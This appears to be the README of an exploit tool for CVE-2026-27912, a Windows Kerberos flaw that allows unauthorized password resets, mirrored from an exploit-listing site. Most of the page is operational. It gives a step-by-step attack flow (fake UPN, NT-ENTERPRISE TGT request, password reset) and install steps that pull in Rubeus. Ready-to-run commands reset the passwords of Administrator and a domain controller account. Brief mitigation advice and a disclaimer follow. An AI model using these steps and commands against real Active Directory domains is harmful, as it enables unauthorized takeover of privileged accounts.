## https://sploitus.com/exploit?id=8F21FFA2-0B7D-510C-B37C-1FFA67332ED7
# Kerberos-CVE-2026-27912
**CVE-2026-27912 - Windows Kerberos Elevation of Privilege Vulnerability**
> **ResetNightmare** - Unauthorized password reset via Kerberos Change Password protocol flaw.
---
## 📋 Details
| Field | Value |
|-------|-------|
| **CVE** | CVE-2026-27912 |
| **Title** | Windows Kerberos Elevation of Privilege Vulnerability |
| **CVSS** | 8.0 HIGH (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| **CWE** | CWE-285: Improper Authorization |
| **Published** | April 14, 2026 |
| **Patched** | April 2026 |
---
## 🔍 Attack Flow
```
1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success
```
---
## 📦 Requirements
- Windows with PowerShell
- ActiveDirectory module (`Install-WindowsFeature RSAT-AD-PowerShell`)
- Rubeus.exe (download from [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus))
- Network access to Domain Controller
---
## 🚀 Installation
```bash
# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912
# Install dependencies
pip install -r requirements.txt
```
---
## 💻 Usage
### Basic Attack
```bash
python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass
```
### Target Computer Account
```bash
python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c
```
### Create New Account
```bash
python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"
```
### Verbose Mode
```bash
python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v
```
---
## 📊 Arguments
| Flag | Description | Default |
|------|-------------|---------|
| `-t / --target` | Target account name | required |
| `-p / --new-password` | New password for target | required |
| `-u / --upn-user` | Account to set fake UPN on | required |
| `-up / --upn-password` | Password for UPN account | required |
| `-c / --computer` | UPNUser is a computer account | flag |
| `-r / --rubeus-path` | Path to Rubeus.exe | Rubeus.exe |
| `-e / --encryption` | Supported encryption type | AES256 |
| `-path / --create-path` | OU path to create new account | "" |
| `-d / --dc` | Domain Controller name | auto-detect |
| `-v / --verbose` | Verbose output | flag |
---
## 🛡️ Mitigation
1. **Apply the official patch** from Microsoft Security Update
2. **Segment network** to limit adjacent network access
3. **Enforce least privilege** - restrict UPN write permissions
4. **Monitor** for suspicious UPN changes and password resets
---
## ⚠️ Disclaimer
**For authorized security testing and educational research only.**
Unauthorized access to computer systems is illegal. The author assumes no liability for misuse of this software.
---
## 📚 References
- [NVD: CVE-2026-27912](https://nvd.nist.gov/vuln/detail/CVE-2026-27912)
- [Microsoft Security Update Guide](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912)
---
## 👨💻 Author
**n0vax1337** / Security Researcher
---
## 📄 License
MIT License - see [LICENSE](LICENSE)
---
**Last Updated:** 2026